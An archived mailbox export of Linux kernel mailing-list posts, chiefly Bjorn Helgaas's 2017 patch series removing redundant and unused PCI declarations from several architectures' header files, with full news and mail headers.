> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>
> Cc: Tobias Klauser <tklauser@distanz.ch>
> Cc: Jarod Wilson <jarod@redhat.com>
> Cc: Philippe Reynes <tremyfr@gmail.com>
> Cc: netdev@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: Thomas Gleixner <tglx@linutronix.de>
> Signed-off-by: Kees Cook <keescook@chromium.org>

Reviewed-by: Tobias Klauser <tklauser@distanz.ch>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bjorn Helgaas <helgaas@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 0/4] PCI: Cleanup unused stuff
Date: Thu, 05 Oct 2017 15:38:23 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1507235920 14918 195.159.176.226 (5 Oct 2017 20:38:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 20:38:40 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starvik@axis.com>,
        Ivan Kokshays
To: linux-pci@vger.kernel.org
Original-X-From: linux-sh-owner@vger.kernel.org Thu Oct 05 22:38:33 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1e0Cud-0007x2-O3
	for glps-linuxsh-dev@m.gmane.org; Thu, 05 Oct 2017 22:38:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751446AbdJEUii (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Thu, 5 Oct 2017 16:38:38 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:48796 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751415AbdJEUih (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Thu, 5 Oct 2017 16:38:37 -0400
Original-Received: from localhost (unknown [64.22.228.164])
        (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id A2F0421907;
        Thu,  5 Oct 2017 20:38:36 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org A2F0421907
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=kernel.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=helgaas@kernel.org
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55827 gmane.linux.kernel.pci:66085 gmane.linux.ports.mips.general:61501 gmane.linux.ports.ia64:28219 gmane.linux.ports.sparc:26685 gmane.linux.ports.parisc:27900 gmane.linux.ports.alpha:4427 gmane.linux.ports.ppc64.devel:148652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55827>

Sorry for the long cc list.  These are pretty trivial; they just remove
some unnecessary declarations across several arches.

---

Bjorn Helgaas (4):
      PCI: Remove redundant pcibios_set_master() declarations
      PCI: Remove redundant pci_dev, pci_bus, resource declarations
      PCI: Remove unused declarations
      alpha/PCI: Make pdev_save_srm_config() static


 arch/alpha/include/asm/pci.h            |    5 -----
 arch/alpha/kernel/pci.c                 |   11 ++++++++++-
 arch/alpha/kernel/pci_impl.h            |    8 --------
 arch/cris/include/asm/pci.h             |    9 ---------
 arch/frv/include/asm/pci.h              |    4 ----
 arch/ia64/include/asm/pci.h             |    4 ----
 arch/mips/include/asm/pci.h             |    4 ----
 arch/mn10300/include/asm/pci.h          |    4 ----
 arch/mn10300/unit-asb2305/pci-asb2305.h |    3 ---
 arch/parisc/include/asm/pci.h           |    8 --------
 arch/powerpc/include/asm/pci.h          |    2 --
 arch/sh/include/asm/pci.h               |    4 ----
 arch/sparc/include/asm/pci_32.h         |    2 --
 arch/x86/include/asm/pci.h              |    2 --
 arch/xtensa/include/asm/pci.h           |    2 --
 15 files changed, 10 insertions(+), 62 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bjorn Helgaas <helgaas@kernel.org>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 1/4] PCI: Remove redundant pcibios_set_master() declarations
Date: Thu, 05 Oct 2017 15:38:42 -0500
Lines: 121
Approved: news@gmane.org
Message-ID: <20171005203842.18300.67328.stgit@bhelgaas-glaptop.roam.corp.google.com>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1507235930 18606 195.159.176.226 (5 Oct 2017 20:38:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 20:38:50 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starvik@axis.com>,
        Ivan Kokshays
To: linux-pci@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Thu Oct 05 22:38:43 2017
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1e0Cum-0007x2-QK
	for glp-linux-pci@m.gmane.org; Thu, 05 Oct 2017 22:38:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751832AbdJEUiq (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
        Thu, 5 Oct 2017 16:38:46 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:48902 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751557AbdJEUio (ORCPT <rfc822;linux-pci@vger.kernel.org>);
        Thu, 5 Oct 2017 16:38:44 -0400
Original-Received: from localhost (unknown [64.22.228.164])
        (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 9B21C2190B;
        Thu,  5 Oct 2017 20:38:43 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 9B21C2190B
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=kernel.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=helgaas@kernel.org
In-Reply-To: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:66086 gmane.linux.ports.mips.general:61502 gmane.linux.ports.ia64:28220 gmane.linux.ports.sh.devel:55828 gmane.linux.ports.sparc:26686 gmane.linux.ports.parisc:27901 gmane.linux.ports.alpha:4428 gmane.linux.ports.ppc64.devel:148653
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/66086>

From: Bjorn Helgaas <bhelgaas@google.com>

All users of pcibios_set_master() include <linux/pci.h>, which already has
a declaration.  Remove the unnecessary declarations from the <asm/pci.h>
files.

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/alpha/include/asm/pci.h   |    2 --
 arch/cris/include/asm/pci.h    |    1 -
 arch/frv/include/asm/pci.h     |    2 --
 arch/mips/include/asm/pci.h    |    2 --
 arch/mn10300/include/asm/pci.h |    2 --
 arch/parisc/include/asm/pci.h  |    1 -
 arch/sh/include/asm/pci.h      |    2 --
 arch/x86/include/asm/pci.h     |    1 -
 8 files changed, 13 deletions(-)

diff --git a/arch/alpha/include/asm/pci.h b/arch/alpha/include/asm/pci.h
index a06c24b3a2e1..777be3114fda 100644
--- a/arch/alpha/include/asm/pci.h
+++ b/arch/alpha/include/asm/pci.h
@@ -56,8 +56,6 @@ struct pci_controller {
 #define PCIBIOS_MIN_IO		alpha_mv.min_io_address
 #define PCIBIOS_MIN_MEM		alpha_mv.min_mem_address
 
-extern void pcibios_set_master(struct pci_dev *dev);
-
 /* IOMMU controls.  */
 
 /* The PCI address space does not equal the physical memory address space.
diff --git a/arch/cris/include/asm/pci.h b/arch/cris/include/asm/pci.h
index 6e505332b3e3..c6ac59d9f815 100644
--- a/arch/cris/include/asm/pci.h
+++ b/arch/cris/include/asm/pci.h
@@ -19,7 +19,6 @@
 void pcibios_config_init(void);
 struct pci_bus * pcibios_scan_root(int bus);
 
-void pcibios_set_master(struct pci_dev *dev);
 struct irq_routing_table *pcibios_get_irq_routing_table(void);
 int pcibios_set_irq_routing(struct pci_dev *dev, int pin, int irq);
 
diff --git a/arch/frv/include/asm/pci.h b/arch/frv/include/asm/pci.h
index 809cfc6707ab..a6957014e74e 100644
--- a/arch/frv/include/asm/pci.h
+++ b/arch/frv/include/asm/pci.h
@@ -21,8 +21,6 @@ struct pci_dev;
 
 #define pcibios_assign_all_busses()	0
 
-extern void pcibios_set_master(struct pci_dev *dev);
-
 #ifdef CONFIG_MMU
 extern void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle);
 extern void consistent_free(void *vaddr);
diff --git a/arch/mips/include/asm/pci.h b/arch/mips/include/asm/pci.h
index 52f551ee492d..0f8528c34753 100644
--- a/arch/mips/include/asm/pci.h
+++ b/arch/mips/include/asm/pci.h
@@ -106,8 +106,6 @@ extern unsigned long PCIBIOS_MIN_MEM;
 
 #define PCIBIOS_MIN_CARDBUS_IO	0x4000
 
-extern void pcibios_set_master(struct pci_dev *dev);
-
 #define HAVE_PCI_MMAP
 #define ARCH_GENERIC_PCI_MMAP_RESOURCE
 #define HAVE_ARCH_PCI_RESOURCE_TO_USER
diff --git a/arch/mn10300/include/asm/pci.h b/arch/mn10300/include/asm/pci.h
index d27654902f28..bdacb618d6af 100644
--- a/arch/mn10300/include/asm/pci.h
+++ b/arch/mn10300/include/asm/pci.h
@@ -47,8 +47,6 @@ extern void unit_pci_init(void);
 #define PCIBIOS_MIN_IO		0xBE000004
 #define PCIBIOS_MIN_MEM		0xB8000000
 
-void pcibios_set_master(struct pci_dev *dev);
-
 /* Dynamic DMA mapping stuff.
  * i386 has everything mapped statically.
  */
diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index 1de1a3f412ec..b5730f83b941 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -161,7 +161,6 @@ extern struct pci_bios_ops *pci_bios;
 
 #ifdef CONFIG_PCI
 extern void pcibios_register_hba(struct pci_hba_data *);
-extern void pcibios_set_master(struct pci_dev *);
 #else
 static inline void pcibios_register_hba(struct pci_hba_data *x)
 {
diff --git a/arch/sh/include/asm/pci.h b/arch/sh/include/asm/pci.h
index 17fa69bc814d..063c8003b169 100644
--- a/arch/sh/include/asm/pci.h
+++ b/arch/sh/include/asm/pci.h
@@ -68,8 +68,6 @@ struct pci_dev;
 #define HAVE_PCI_MMAP
 #define ARCH_GENERIC_PCI_MMAP_RESOURCE
 
-extern void pcibios_set_master(struct pci_dev *dev);
-
 /* Dynamic DMA mapping stuff.
  * SuperH has everything mapped statically like x86.
  */
diff --git a/arch/x86/include/asm/pci.h b/arch/x86/include/asm/pci.h
index 473a7295ab10..645019085bb8 100644
--- a/arch/x86/include/asm/pci.h
+++ b/arch/x86/include/asm/pci.h
@@ -91,7 +91,6 @@ extern int pcibios_enabled;
 void pcibios_config_init(void);
 void pcibios_scan_root(int bus);
 
-void pcibios_set_master(struct pci_dev *dev);
 struct irq_routing_table *pcibios_get_irq_routing_table(void);
 int pcibios_set_irq_routing(struct pci_dev *dev, int pin, int irq);
 



From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bjorn Helgaas <helgaas@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 2/4] PCI: Remove redundant pci_dev, pci_bus,
 resource declarations
Date: Thu, 05 Oct 2017 15:38:49 -0500
Lines: 168
Approved: news@gmane.org
Message-ID: <20171005203849.18300.20999.stgit@bhelgaas-glaptop.roam.corp.google.com>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1507235936 20356 195.159.176.226 (5 Oct 2017 20:38:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 20:38:56 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starvik@axis.com>,
        Ivan Kokshays
To: linux-pci@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 05 22:38:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e0Cuu-0007x2-80
	for glpp-linux-parisc@m.gmane.org; Thu, 05 Oct 2017 22:38:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751877AbdJEUix (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 5 Oct 2017 16:38:53 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:49006 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751469AbdJEUiv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 5 Oct 2017 16:38:51 -0400
Original-Received: from localhost (unknown [64.22.228.164])
        (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id CF3472190E;
        Thu,  5 Oct 2017 20:38:50 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org CF3472190E
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=kernel.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=helgaas@kernel.org
In-Reply-To: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27902 gmane.linux.kernel.pci:66087 gmane.linux.ports.mips.general:61503 gmane.linux.ports.ia64:28221 gmane.linux.ports.sh.devel:55829 gmane.linux.ports.sparc:26687 gmane.linux.ports.alpha:4429 gmane.linux.ports.ppc64.devel:148654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27902>

From: Bjorn Helgaas <bhelgaas@google.com>

<linux/pci.h> defines struct pci_bus and struct pci_dev and includes the
struct resource definition before including <asm/pci.h>.  Nobody includes
<asm/pci.h> directly, so they don't need their own declarations.

Remove the redundant struct pci_dev, pci_bus, resource declarations.

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/alpha/include/asm/pci.h    |    3 ---
 arch/cris/include/asm/pci.h     |    2 --
 arch/frv/include/asm/pci.h      |    2 --
 arch/ia64/include/asm/pci.h     |    2 --
 arch/mips/include/asm/pci.h     |    2 --
 arch/mn10300/include/asm/pci.h  |    2 --
 arch/parisc/include/asm/pci.h   |    7 -------
 arch/powerpc/include/asm/pci.h  |    2 --
 arch/sh/include/asm/pci.h       |    2 --
 arch/sparc/include/asm/pci_32.h |    2 --
 arch/xtensa/include/asm/pci.h   |    2 --
 11 files changed, 28 deletions(-)

diff --git a/arch/alpha/include/asm/pci.h b/arch/alpha/include/asm/pci.h
index 777be3114fda..0a10ff93b174 100644
--- a/arch/alpha/include/asm/pci.h
+++ b/arch/alpha/include/asm/pci.h
@@ -12,9 +12,6 @@
  * The following structure is used to manage multiple PCI busses.
  */
 
-struct pci_dev;
-struct pci_bus;
-struct resource;
 struct pci_iommu_arena;
 struct page;
 
diff --git a/arch/cris/include/asm/pci.h b/arch/cris/include/asm/pci.h
index c6ac59d9f815..8ea640560a46 100644
--- a/arch/cris/include/asm/pci.h
+++ b/arch/cris/include/asm/pci.h
@@ -32,8 +32,6 @@ int pcibios_set_irq_routing(struct pci_dev *dev, int pin, int irq);
 #include <linux/string.h>
 #include <asm/io.h>
 
-struct pci_dev;
-
 /* The PCI address space does equal the physical memory
  * address space.  The networking and block device layers use
  * this boolean for bounce buffer decisions.
diff --git a/arch/frv/include/asm/pci.h b/arch/frv/include/asm/pci.h
index a6957014e74e..895af9d558ba 100644
--- a/arch/frv/include/asm/pci.h
+++ b/arch/frv/include/asm/pci.h
@@ -17,8 +17,6 @@
 #include <linux/scatterlist.h>
 #include <asm-generic/pci.h>
 
-struct pci_dev;
-
 #define pcibios_assign_all_busses()	0
 
 #ifdef CONFIG_MMU
diff --git a/arch/ia64/include/asm/pci.h b/arch/ia64/include/asm/pci.h
index 6459f2d46200..8c4b37f6be3d 100644
--- a/arch/ia64/include/asm/pci.h
+++ b/arch/ia64/include/asm/pci.h
@@ -31,8 +31,6 @@ struct pci_vector_struct {
 
 void pcibios_config_init(void);
 
-struct pci_dev;
-
 /*
  * PCI_DMA_BUS_IS_PHYS should be set to 1 if there is _necessarily_ a direct
  * correspondence between device bus addresses and CPU physical addresses.
diff --git a/arch/mips/include/asm/pci.h b/arch/mips/include/asm/pci.h
index 0f8528c34753..2339f42f047a 100644
--- a/arch/mips/include/asm/pci.h
+++ b/arch/mips/include/asm/pci.h
@@ -121,8 +121,6 @@ extern unsigned long PCIBIOS_MIN_MEM;
 #include <linux/string.h>
 #include <asm/io.h>
 
-struct pci_dev;
-
 /*
  * The PCI address space does equal the physical memory address space.
  * The networking and block device layers use this boolean for bounce
diff --git a/arch/mn10300/include/asm/pci.h b/arch/mn10300/include/asm/pci.h
index bdacb618d6af..5b75a1b2c4f6 100644
--- a/arch/mn10300/include/asm/pci.h
+++ b/arch/mn10300/include/asm/pci.h
@@ -57,8 +57,6 @@ extern void unit_pci_init(void);
 #include <linux/string.h>
 #include <asm/io.h>
 
-struct pci_dev;
-
 /* The PCI address space does equal the physical memory
  * address space.  The networking and block device layers use
  * this boolean for bounce buffer decisions.
diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index b5730f83b941..8cc009e26a28 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -86,13 +86,6 @@ struct pci_hba_data {
 #define PCI_F_EXTEND		0UL
 #endif /* !CONFIG_64BIT */
 
-/*
-** KLUGE: linux/pci.h include asm/pci.h BEFORE declaring struct pci_bus
-** (This eliminates some of the warnings).
-*/
-struct pci_bus;
-struct pci_dev;
-
 /*
  * If the PCI device's view of memory is the same as the CPU's view of memory,
  * PCI_DMA_BUS_IS_PHYS is true.  The networking and block device layers use
diff --git a/arch/powerpc/include/asm/pci.h b/arch/powerpc/include/asm/pci.h
index c8975dac535f..8dc32eacc97c 100644
--- a/arch/powerpc/include/asm/pci.h
+++ b/arch/powerpc/include/asm/pci.h
@@ -28,8 +28,6 @@
 #define PCIBIOS_MIN_IO		0x1000
 #define PCIBIOS_MIN_MEM		0x10000000
 
-struct pci_dev;
-
 /* Values for the `which' argument to sys_pciconfig_iobase syscall.  */
 #define IOBASE_BRIDGE_NUMBER	0
 #define IOBASE_MEMORY		1
diff --git a/arch/sh/include/asm/pci.h b/arch/sh/include/asm/pci.h
index 063c8003b169..6c2d68e08a57 100644
--- a/arch/sh/include/asm/pci.h
+++ b/arch/sh/include/asm/pci.h
@@ -63,8 +63,6 @@ extern int pci_is_66mhz_capable(struct pci_channel *hose,
 
 extern unsigned long PCIBIOS_MIN_IO, PCIBIOS_MIN_MEM;
 
-struct pci_dev;
-
 #define HAVE_PCI_MMAP
 #define ARCH_GENERIC_PCI_MMAP_RESOURCE
 
diff --git a/arch/sparc/include/asm/pci_32.h b/arch/sparc/include/asm/pci_32.h
index b7c092df3134..8b0e26232c78 100644
--- a/arch/sparc/include/asm/pci_32.h
+++ b/arch/sparc/include/asm/pci_32.h
@@ -20,8 +20,6 @@
  */
 #define PCI_DMA_BUS_IS_PHYS	(0)
 
-struct pci_dev;
-
 #endif /* __KERNEL__ */
 
 #ifndef CONFIG_LEON_PCI
diff --git a/arch/xtensa/include/asm/pci.h b/arch/xtensa/include/asm/pci.h
index e4f366a488d3..5c83798e3b2e 100644
--- a/arch/xtensa/include/asm/pci.h
+++ b/arch/xtensa/include/asm/pci.h
@@ -37,8 +37,6 @@ extern struct pci_controller* pcibios_alloc_controller(void);
 #include <linux/string.h>
 #include <asm/io.h>
 
-struct pci_dev;

From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bjorn Helgaas <helgaas@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 3/4] PCI: Remove unused declarations
Date: Thu, 05 Oct 2017 15:38:56 -0500
Lines: 79
Approved: news@gmane.org
Message-ID: <20171005203856.18300.62381.stgit@bhelgaas-glaptop.roam.corp.google.com>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1507235945 23776 195.159.176.226 (5 Oct 2017 20:39:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 20:39:05 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starvik@axis.com>,
        Ivan Kokshays
To: linux-pci@vger.kernel.org
Original-X-From: linux-sh-owner@vger.kernel.org Thu Oct 05 22:38:57 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1e0Cv2-0007x2-8z
	for glps-linuxsh-dev@m.gmane.org; Thu, 05 Oct 2017 22:38:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751557AbdJEUjD (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Thu, 5 Oct 2017 16:39:03 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:49114 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751500AbdJEUjC (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Thu, 5 Oct 2017 16:39:02 -0400
Original-Received: from localhost (unknown [64.22.228.164])
        (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 26DAB21912;
        Thu,  5 Oct 2017 20:39:01 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 26DAB21912
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=kernel.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=helgaas@kernel.org
In-Reply-To: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
